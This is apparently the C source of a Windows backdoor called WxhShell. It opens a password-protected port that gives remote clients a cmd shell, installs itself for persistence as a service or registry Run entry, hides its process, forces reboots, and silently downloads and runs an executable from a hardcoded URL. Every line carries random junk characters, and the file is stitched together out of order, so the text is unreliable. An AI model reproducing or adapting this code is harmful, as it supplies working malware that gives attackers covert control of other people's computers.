    if(Boot(SHUTDOWN))  8=;k"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'bu)M1OLi  
    else { >t  <pFh  
    closesocket(wsh); OP! R[27>  
    ExitThread(0); t'1Y@e  
    } YF[f Z  
    break; p &(OZJT  
    } 1;lmu]I>)  
  // 获取shell qpp/8M  
  case 's': { x,8<tSW)Z  
    CmdShell(wsh); xT*d/Oaw  
    closesocket(wsh); ]lBGyUJn  
    ExitThread(0); g(hOg~S\E  
    break; '#\1uXM1U?  
  } h<6UC%'ac  
  // 退出 2/7_;_#vJ%  
  case 'x': { TgfrI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \Kav w  
    CloseIt(wsh); 'Ot,H_pE  
    break; a|_p,_  
    } 9YN?  
  // 离开 e8P-k3a"5:  
  case 'q': { .Zmp ,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w?y 6nTg<  
    closesocket(wsh); xJwG=$o  
    WSACleanup(); T:iP="?{  
    exit(1); _. V?A*  
    break; Sq2P-y!w  
        } NHQF^2\\  
  } M+P$/Wk  
  } ^%>kO,  
m D58T2 Z  
  // 提示信息 jd-glE,Y/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K^[#]+nQ  
} {+.r5py  
  } |L6&Gf]#5  
S:bC[}  
  return; aelO3'UN  
} _5Bcwa/  
&^".2)zU  
// shell模块句柄 ,*svtw:2')  
int CmdShell(SOCKET sock) !Ng=Yk>3  
{ {QAv~S>4  
STARTUPINFO si; 2 QTZwx  
ZeroMemory(&si,sizeof(si)); wBSQ:f]g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [bz T& o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3_$w| ET  
PROCESS_INFORMATION ProcessInfo; jXg  
char cmdline[]="cmd"; BJ}D%nm}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P9Q~r<7n  
  return 0; !CTxVLl"F  
} XMIbUbU k-  
~Bi_7 Q  
// 自身启动模式 XGrue6 ya  
int StartFromService(void) 23\RJpKb  
{ S>Yj@L  
typedef struct S$q =;"  
{ 'tgKe!-@  
  DWORD ExitStatus; R`8@@ }  
  DWORD PebBaseAddress; Guw}=l--YR  
  DWORD AffinityMask; )cJ#-M2  
  DWORD BasePriority; }_'IE1bA  
  ULONG UniqueProcessId; W_|0y4QOo  
  ULONG InheritedFromUniqueProcessId; 0% L l  
}   PROCESS_BASIC_INFORMATION; fxcc<h4  
Jju#iwb  
PROCNTQSIP NtQueryInformationProcess; r=uN9ro  
o{qr!*_3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [Nm4sI11  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n/d`qS  
"/Pjjb:2  
  HANDLE             hProcess; =T?}Nt  
  PROCESS_BASIC_INFORMATION pbi; :M3oUE{  
-Apc$0ZsN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }L=/A7Nk>  
  if(NULL == hInst ) return 0; N "tFP9;K  
BR`ygrfe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OR1DYHHT/1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y&~w2{a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Vv.r8IGYm  
z;tI D~Y  
  if (!NtQueryInformationProcess) return 0; *|.0Myjo  
`4?~nbz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HSUI${<  
  if(!hProcess) return 0; 0oZsb\  
g#]" hn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5 |0,X<&  
yF}OfK?0f  
  CloseHandle(hProcess); ))kF<A_MK  
z G }?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f"G-  
if(hProcess==NULL) return 0; CvSIV7zYo  
8`>h}Q$  
HMODULE hMod; 5zJj]A  
char procName[255]; ^FmU_Q0  
unsigned long cbNeeded; "Mw[P [w*  
7"F*u :  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #AkV/1Y  
!l?.5Pm])  
  CloseHandle(hProcess); "xI"  
P9Yy9_a|x  
if(strstr(procName,"services")) return 1; // 以服务启动 8 ;d$54 b  
{'sY|lou  
  return 0; // 注册表启动 N[]Hc  
} 1d"Z>k:mn  
XgN` 7!Z  
// 主模块 zLs|tJOVp  
int StartWxhshell(LPSTR lpCmdLine) @+vXMJ$  
{ >WJf=F`_H  
  SOCKET wsl; )UgX3+@  
BOOL val=TRUE; (s<Dd2&.H  
  int port=0; ;7]u!Q  
  struct sockaddr_in door; 5,qj7HZF  
RpWTpT1  
  if(wscfg.ws_autoins) Install(); '|]e<Mt-  
Q)m4_+,d  
port=atoi(lpCmdLine); 0]KraLu"N  
Amr[wx  
if(port<=0) port=wscfg.ws_port; T{wpJ"F5<]  
n~"$^Vr  
  WSADATA data; q5h*`7f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `g8E1-]l  
f0<hE2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2]GdD*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1_fZm+oW!  
  door.sin_family = AF_INET; CTt vyr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6R-&-4  
  door.sin_port = htons(port); YBYZ=,"d  
x";w%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t*z~5_/  
closesocket(wsl); 'E/*d2CDM(  
return 1; m }a|FS  
} Y$N)^=7  
^4r73ak/):  
  if(listen(wsl,2) == INVALID_SOCKET) { B]m@:|Q  
closesocket(wsl); 4c oJRqf=  
return 1; U~h'*nV&  
} GoA4f3  
  Wxhshell(wsl); 3G.5724,  
  WSACleanup(); :tIC~GG]_)  
IDkWGh  
return 0; /27JevE  
2LrJ>Mi  
} /{wJEuE  
\!(  
// 以NT服务方式启动 'O5'i\uz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZX ?yL>4  
{ D3|oOOoG  
DWORD   status = 0; QM3,'?ekRH  
  DWORD   specificError = 0xfffffff; 0TfS=scT  
 tz#gClo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mRB   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xe7O/',pa=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o7mZzzP  
  serviceStatus.dwWin32ExitCode     = 0; X;<BzA!H  
  serviceStatus.dwServiceSpecificExitCode = 0; ,Y 3W?  
  serviceStatus.dwCheckPoint       = 0; +!QJTn"3  
  serviceStatus.dwWaitHint       = 0; $0bjKy  
6KD `oUx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <%xS{!'}  
  if (hServiceStatusHandle==0) return; Hzrtlet  
[: xiZ  
status = GetLastError(); ~m|Mg9-  
  if (status!=NO_ERROR) >=]'hyn]]  
{ f;/QJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [V4{c@  
    serviceStatus.dwCheckPoint       = 0; /Q,{?';~  
    serviceStatus.dwWaitHint       = 0; }2K$^u R  
    serviceStatus.dwWin32ExitCode     = status; kYzC#.|1  
    serviceStatus.dwServiceSpecificExitCode = specificError; SyAvKd`g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /C/id)h>  
    return; '9c2Q/  
  } jiF?fX@  
U4 13?Pe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D:Q 21Ch  
  serviceStatus.dwCheckPoint       = 0; IbcZ@'RSw  
  serviceStatus.dwWaitHint       = 0; >^Se'SE]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -n'F v@U  
} \*,=S52  
>A0k 8T  
// 处理NT服务事件,比如:启动、停止 P&Pj>!T5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SP|<Tny  
{ e/->_T(I  
switch(fdwControl) h"H2z1$  
{ &$`yo`  
case SERVICE_CONTROL_STOP: *^([ ~[  
  serviceStatus.dwWin32ExitCode = 0; FQ>`{%>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %,hV[[@.  
  serviceStatus.dwCheckPoint   = 0; aR,}W\6M  
  serviceStatus.dwWaitHint     = 0; TYI7<-Mp:[  
  { >vuY+o;B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e" ]2=5g  
  } %cE 2s`  
  return; ^<LY4^  
case SERVICE_CONTROL_PAUSE: R\XKMF3mN3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6sa"O89   
  break; XQ4G)  
case SERVICE_CONTROL_CONTINUE: Z}|(F RVk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %*#n d  
  break; ;<0LXYL;  
case SERVICE_CONTROL_INTERROGATE: 0%) i<a!_Z  
  break; ~4?9a(>3  
}; V138d?Mm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z3!f^vAi&  
} O@?k T;B  
e@{i  
// 标准应用程序主函数 0oEOre3^%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 191&_*Xb  
{ PQ@L+],C  
kNqH zo  
// 获取操作系统版本 -{`@=U  
OsIsNt=GetOsVer(); |Yq$s U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c{[q>@y pK  
`b c;]@"  
  // 从命令行安装 Fq9Q+RNMZL  
  if(strpbrk(lpCmdLine,"iI")) Install(); zD3mX<sw  
9<K j6t_  
  // 下载执行文件 l3nrEk  
if(wscfg.ws_downexe) { }8;[O 9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V'w@rc\XN  
  WinExec(wscfg.ws_filenam,SW_HIDE); P;pl,~  
} 2< hAa9y  
3BpZX`l*p  
if(!OsIsNt) { D~o$GW%  
// 如果时win9x,隐藏进程并且设置为注册表启动 vP+@z-O  
HideProc(); n]dL?BJ  
StartWxhshell(lpCmdLine); pH`44KAuM  
} k1VT /u  
else V^Hu3aUx8  
  if(StartFromService()) =}PdH`S  
  // 以服务方式启动 BcD&sQ2F  
  StartServiceCtrlDispatcher(DispatchTable); )]#aauC+  
else Z@Ae$ '9H  
  // 普通方式启动 5XLs} :  
  StartWxhshell(lpCmdLine); b=3H  
_,</1~.  
return 0; nNXgW  
} `Y?87f:SP  
<, 3ROo76  
c^`]`xiX  
vky.^  
=========================================== A{B/lX)  
XNgDf3T  
w>b-} t  
JJRK7\~$  
#lU9yv  
]:34kE}e5  
" kp\\"+,VC  
 ["}rk  
#include <stdio.h> T)\"Xj  
#include <string.h> k? Xc  
#include <windows.h> ![f ![l  
#include <winsock2.h> /t-fjB{=G  
#include <winsvc.h> vd6l7"0/  
#include <urlmon.h> vf4{$Oag  
6=N`wi  
#pragma comment (lib, "Ws2_32.lib") :rP#I#,7w  
#pragma comment (lib, "urlmon.lib") .CSS}4  
?bw4~  
#define MAX_USER   100 // 最大客户端连接数 K R"M/#  
#define BUF_SOCK   200 // sock buffer ~H6r.:]  
#define KEY_BUFF   255 // 输入 buffer L4L2O7  
){r2T1+-%  
#define REBOOT     0   // 重启 qF iLh9=D  
#define SHUTDOWN   1   // 关机 6ksAc%|5  
R>`}e+-D  
#define DEF_PORT   5000 // 监听端口 4`Ic&c/  
=vT<EW}[  
#define REG_LEN     16   // 注册表键长度 Su 5>$  
#define SVC_LEN     80   // NT服务名长度 fqu}Le  
\n9zw'  
// 从dll定义API -R>}u'EG>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  X\}Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Bvt@X   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;60.l!   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R/`q/0T.  
}K hjlPhx  
// wxhshell配置信息 -uh(?])H  
struct WSCFG { OIl#DV.  
  int ws_port;         // 监听端口 ;+1RU v  
  char ws_passstr[REG_LEN]; // 口令 XhsTT2B   
  int ws_autoins;       // 安装标记, 1=yes 0=no ~ 8aJ S,u  
  char ws_regname[REG_LEN]; // 注册表键名 X0*QV- RN  
  char ws_svcname[REG_LEN]; // 服务名 nL:SG{7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X,8<oX1r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TPhTaKCio  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _ pO`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H'F6$ypoS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >%E([:$A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |y<),j6  
7w;O}axI  
}; 2BCtJ`S`  
5sPywk{  
// default Wxhshell configuration 5PcJZi^.l  
struct WSCFG wscfg={DEF_PORT, tRpEF2  
    "xuhuanlingzhe", %zU`XVNN+  
    1, $BmmNn#  
    "Wxhshell", -*2Mf Mh  
    "Wxhshell", &_5tqh  
            "WxhShell Service", c#N<"cy>  
    "Wrsky Windows CmdShell Service", _lW+>xQ  
    "Please Input Your Password: ", !EQ@#qW/  
  1, 3sCFHn#c  
  "http://www.wrsky.com/wxhshell.exe", 5X.e*;  
  "Wxhshell.exe" fJZp?e"  
    }; S(aZ4{a@  
t:LcNlN|  
// 消息定义模块 e"r)R8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `]Bxn) b(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D|qk_2R%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z`3ufXPNlO  
char *msg_ws_ext="\n\rExit."; 1{_A:<VBl  
char *msg_ws_end="\n\rQuit."; \Ep0J $ #o  
char *msg_ws_boot="\n\rReboot..."; #}^-C&~  
char *msg_ws_poff="\n\rShutdown..."; #E0t?:t5bk  
char *msg_ws_down="\n\rSave to "; b%f[p/no  
kX:tc   
char *msg_ws_err="\n\rErr!"; 1+`l7'F  
char *msg_ws_ok="\n\rOK!"; ^w~23g.  
qz4^{  
char ExeFile[MAX_PATH]; *c[2C  
int nUser = 0; S]sk7  
HANDLE handles[MAX_USER]; %7`f{|.  
int OsIsNt; }6 5s'JB  
63?)K s  
SERVICE_STATUS       serviceStatus; :Sg_t Of  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p (FlR?= S  
(wmBjQ]B<  
// 函数声明 wiX~D  
int Install(void); 9{j66  
int Uninstall(void); ,%bhyww<  
int DownloadFile(char *sURL, SOCKET wsh); U=sh[W  
int Boot(int flag); i~J;G#b  
void HideProc(void); NvjJ b-u  
int GetOsVer(void); ?t@v&s  
int Wxhshell(SOCKET wsl); h;lirvO|  
void TalkWithClient(void *cs); W\f9jfD  
int CmdShell(SOCKET sock); avp; *G }  
int StartFromService(void); dMx4ykrR  
int StartWxhshell(LPSTR lpCmdLine); 4;`Bj:.  
7nzGAz_W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TgU**JN)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _B2V "p  
>*twTlb{  
// 数据结构和表定义 #sKWd  
SERVICE_TABLE_ENTRY DispatchTable[] = 5W =(+Q>C  
{ ~{>?*Gd&T  
{wscfg.ws_svcname, NTServiceMain}, 4(?G6y)  
{NULL, NULL} <b+[<@wS  
}; h?\2 _s  
S~$'WA  
// 自我安装 :PbDU$x  
int Install(void) Vv$HR  
{ PZ8U6K'  
  char svExeFile[MAX_PATH]; x r(|*  
  HKEY key; q ^rl)  
  strcpy(svExeFile,ExeFile); k&hc m  
2Ha5yaTL  
// 如果是win9x系统,修改注册表设为自启动 1gO2C $  
if(!OsIsNt) { IGX:H)&*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6)]f6p&e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NkxCs  
  RegCloseKey(key); tNs~M4TVVH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  &K^MN d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `P+(&taT  
  RegCloseKey(key);  0JRD  
  return 0; 9+YD!y  
    } 5H,G-  
  } M ixwK,  
} r^$~>!kZ|  
else { dEM ?~?  
o?Sla_D   
// 如果是NT以上系统,安装为系统服务 z/&;{J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TPO1 GF  
if (schSCManager!=0)  H'RL62!  
{ 6*GjP ;S =  
  SC_HANDLE schService = CreateService VS?@y/\In  
  ( `29TY&p+"  
  schSCManager, '!v c/Hw  
  wscfg.ws_svcname, Ccfwax+  
  wscfg.ws_svcdisp, ~!%0Z9>ap  
  SERVICE_ALL_ACCESS, xSpC'"   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k7_I$ <YDj  
  SERVICE_AUTO_START, Z#`0txCF  
  SERVICE_ERROR_NORMAL, SP 2 8  
  svExeFile, guN4-gGDr<  
  NULL, c)C5KaiPG  
  NULL, IN^9uL]B  
  NULL, ST1Ts5I  
  NULL,  *2u E  
  NULL fUag1d  
  ); rlok%Rt4Z  
  if (schService!=0) w'Z!;4E0  
  { 7x.%hRk  
  CloseServiceHandle(schService); pt:;9hA  
  CloseServiceHandle(schSCManager); v@ONo?)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >3;^l/2c  
  strcat(svExeFile,wscfg.ws_svcname); ](r ^.k,R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OsW"CF2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TW`mxj_J2  
  RegCloseKey(key); g jG2  
  return 0; #G _/.h@  
    } x;$|#]+  
  } L9IGK<  
  CloseServiceHandle(schSCManager); [j6~}zu@  
} ||TtNH  
} G=M] 8+h  
!awh*Xj6  
return 1; YaFcz$GE_  
} -oBI+v&  
AfWl6a?T8:  
// 自我卸载 rb_Z5T  
int Uninstall(void)  :q2YBa  
{ 9n}A ^  
  HKEY key; }(i(Ar-  
;?6>mh(`  
if(!OsIsNt) { H$!-f>Rxa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'ND36jHcRD  
  RegDeleteValue(key,wscfg.ws_regname); C@dGWAG  
  RegCloseKey(key); F%6*Df;cSe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #0MK(Ut/  
  RegDeleteValue(key,wscfg.ws_regname); `6 Y33bQ  
  RegCloseKey(key); *M!kA65'  
  return 0; `ENP=kL(+  
  } P!\hnm)%4  
} lC9S\s  
} UC9{m252  
else { !y vJpdsof  
p?myuNd[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'tWAuI  
if (schSCManager!=0) o<4D=.g7D  
{ y/4ny,s"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'XfgBJF=  
  if (schService!=0) Md9l+[@  
  { CV^0.  
  if(DeleteService(schService)!=0) { vnsSy33K  
  CloseServiceHandle(schService); (DJvi6\H  
  CloseServiceHandle(schSCManager); cb+y9wA  
  return 0; ' Js?N  
  } eOrYa3hQ  
  CloseServiceHandle(schService); CM 9P"-  
  } J~J@ ]5/  
  CloseServiceHandle(schSCManager); N_vXYaY  
} )*[ ""&  
} AUAI3K?  
d7~j^v)=^  
return 1; &telCg:  
} atnQC  
('WY5Yps  
// 从指定url下载文件 VN|G5*  
int DownloadFile(char *sURL, SOCKET wsh) ##~!M(c  
{ LP>UU ,Z  
  HRESULT hr; EhXiv#CZ  
char seps[]= "/"; e{t=>vry  
char *token; WFh@%j  
char *file; aF])"9  
char myURL[MAX_PATH]; 6GOg_P  
char myFILE[MAX_PATH]; $r"A@69^RS  
]18Ucf  
strcpy(myURL,sURL); Iq,v  
  token=strtok(myURL,seps); uYTCdZQh  
  while(token!=NULL) #{>uC&jD  
  { I<`V_  
    file=token; >ITEd  
  token=strtok(NULL,seps); nO_!:6o".  
  } }N|\   
5Bd(>'ig_  
GetCurrentDirectory(MAX_PATH,myFILE); WD;)VsP  
strcat(myFILE, "\\"); R92R}=G!  
strcat(myFILE, file); K`gc 4:A  
  send(wsh,myFILE,strlen(myFILE),0); l:z };  
send(wsh,"...",3,0); FQ##397  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !w=,p.?V=  
  if(hr==S_OK) P!>g7X  
return 0; 3uO8v{`  
else [0op)Kn  
return 1; P CsK()  
JjDS"hK#  
} L<E/,IdE  
poY8 )2  
// 系统电源模块 qL>v&Rd<  
int Boot(int flag) _FFv#R*4  
{ -$ali[  
  HANDLE hToken; qvN"1=nJ  
  TOKEN_PRIVILEGES tkp; ~y@& }  
Bt6xV<jD  
  if(OsIsNt) { hg#c[sZL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0x4l5x$8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~ a >S#S  
    tkp.PrivilegeCount = 1; +{0=<2(EC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Wbd_a R (  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "s;ci~$  
if(flag==REBOOT) { }#|2z}!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D8 wG!X  
  return 0; z"3H{ A  
} |YXG(;-BS  
else { [ )k2=67  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `OLB';D  
  return 0; ?Hk.|5A}  
} @|'Z@>!/pV  
  } 4%>+Wh[  
  else { ^@N`e1  
if(flag==REBOOT) { (l2<+R%1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gQ,4xTX  
  return 0; No~ 6s.H  
} X$PS(_M  
else { ;Lqm#]C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _]_LF[  
  return 0; 'Dq"e$JM<  
} O E]~@eU  
} ME,duY/>Q  
8ur_/h7  
return 1; r.Lx%LZ\^  
} 3m~U(yho  
(Y>U6  
// win9x进程隐藏模块 ) _ #T c  
void HideProc(void) vS2(Q0+TZi  
{ rSbQ}O4V  
>["Kd.ye  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y& m<lnB  
  if ( hKernel != NULL ) hN}5u"pS  
  { &#%D.@L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x;*VCs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lvG3<ls0K$  
    FreeLibrary(hKernel); . *Z#cq0  
  } F-i&M1 \_  
|:}L<9Sq  
return; 0x6@{0  
} 8db6(Q~P  
*eMLbU7  
// 获取操作系统版本 /T{mS7EpYc  
int GetOsVer(void) |})rt5|f1!  
{ ruWye1X;  
  OSVERSIONINFO winfo; bf{Ep=-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VgUvD1v?}  
  GetVersionEx(&winfo); hN!.@L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k:W=5{[  
  return 1; Us*Vn  
  else QZz&1n  
  return 0; x[Hhj'  
} ;Xz(B4N~o  
aTi0bQW{  
// 客户端句柄模块 `yy%<&  
int Wxhshell(SOCKET wsl) <'VA=orD  
{ /^NJ)9IB  
  SOCKET wsh; x={kjym L  
  struct sockaddr_in client; Sw/J+FO2  
  DWORD myID; &#$2;-q8+  
Xk;Uk[  
  while(nUser<MAX_USER) wX@H &)<s  
{ L/c4"f|.*v  
  int nSize=sizeof(client); T$f:[ye]Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zv&ePq\#  
  if(wsh==INVALID_SOCKET) return 1; m<~>&mWr  
'! #On/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L,tZh0  
if(handles[nUser]==0) ]U#JsMS  
  closesocket(wsh); 6Uch 0xha!  
else p^}L  
  nUser++; ^"PfDTyA  
  } g6HphRJ5s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T,A!5V>cX  
5R& x{jf$  
  return 0; |)~Ex 9%ev  
} wbn^R'  
?]759,Q3L  
// 关闭 socket ;B,nzx(L  
void CloseIt(SOCKET wsh) $gXkx D  
{ `4se7{'UK`  
closesocket(wsh); 8Ix -i  
nUser--; $b&BH'*'~  
ExitThread(0); `" i^'VL,  
} EolE?g@l8  
B!$V\Gs  
// 客户端请求句柄 cu) @P0I  
void TalkWithClient(void *cs) <|ka{=T  
{ I3V{"Nx6  
c8 H9_6  
  SOCKET wsh=(SOCKET)cs; dw@TbJ  
  char pwd[SVC_LEN]; [P(rY  
  char cmd[KEY_BUFF]; -9hp+0 <  
char chr[1]; oNh68ON:c  
int i,j; 7uWJ6Wk  
R?1idl)  
  while (nUser < MAX_USER) { " 6 uTo0  
ee4KMS  
if(wscfg.ws_passstr) { Cb4d|yiS8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @'6S[zU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b\<lNE!L  
  //ZeroMemory(pwd,KEY_BUFF); y8Ei=[  
      i=0; [1t\|v  
  while(i<SVC_LEN) { //ne']L  
!3O,DhH>MC  
  // 设置超时 /F\>Z]  
  fd_set FdRead; *##QXyyg  
  struct timeval TimeOut; *C[4 (DmB  
  FD_ZERO(&FdRead); ez{P-qB  
  FD_SET(wsh,&FdRead); GLbc/qs  
  TimeOut.tv_sec=8; Gsx^j?  
  TimeOut.tv_usec=0; EOMuqP)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O7Y P_<,#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3t J=d'U  
!y[}|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z(8)1#(n7  
  pwd=chr[0]; h0'8NvalQ  
  if(chr[0]==0xd || chr[0]==0xa) { FY_avW  
  pwd=0; [flu |v  
  break; ^T uP=q5?  
  } 44<9zHK  
  i++; H5F\-&cq  
    } ,I 9][_  
}3 fLV  
  // 如果是非法用户,关闭 socket FU [8:o62  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SaX,^_GY  
} lo IL{2  
v Ie=wf~D`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bn^mL~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -N /8Ho  
}.fZy&_  
while(1) { GqmDDL1  
N2+mN0k;  
  ZeroMemory(cmd,KEY_BUFF); bUY:XmA  
,)B~cic'u  
      // 自动支持客户端 telnet标准   SXT@& @E  
  j=0; =rf )yp-D  
  while(j<KEY_BUFF) { (Von;U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W>aQ tT  
  cmd[j]=chr[0]; 1[fkXO{  
  if(chr[0]==0xa || chr[0]==0xd) {   2  
  cmd[j]=0; /r::68_KQP  
  break; s K""  
  } 'PmHBQvt&  
  j++; i{1)=_$Vt`  
    } 8.q13t !D  
[N0/">c  
  // 下载文件 k8Su/U  
  if(strstr(cmd,"http://")) { JO<gN= [  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mM\!4Yi`7  
  if(DownloadFile(cmd,wsh)) >uP{9kDm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |g: '')>[  
  else X-*KQ+ ?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {Kq*5Aq8  
  } lu G023'  
  else { 4X(1   
On2Vf*G@|  
    switch(cmd[0]) { wt_?B_nR  
  U&d-?PI  
  // 帮助 b3y,4ke"  
  case '?': { Rpa A)R,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MZ|c7f&`  
    break; 6a2w-}Fs  
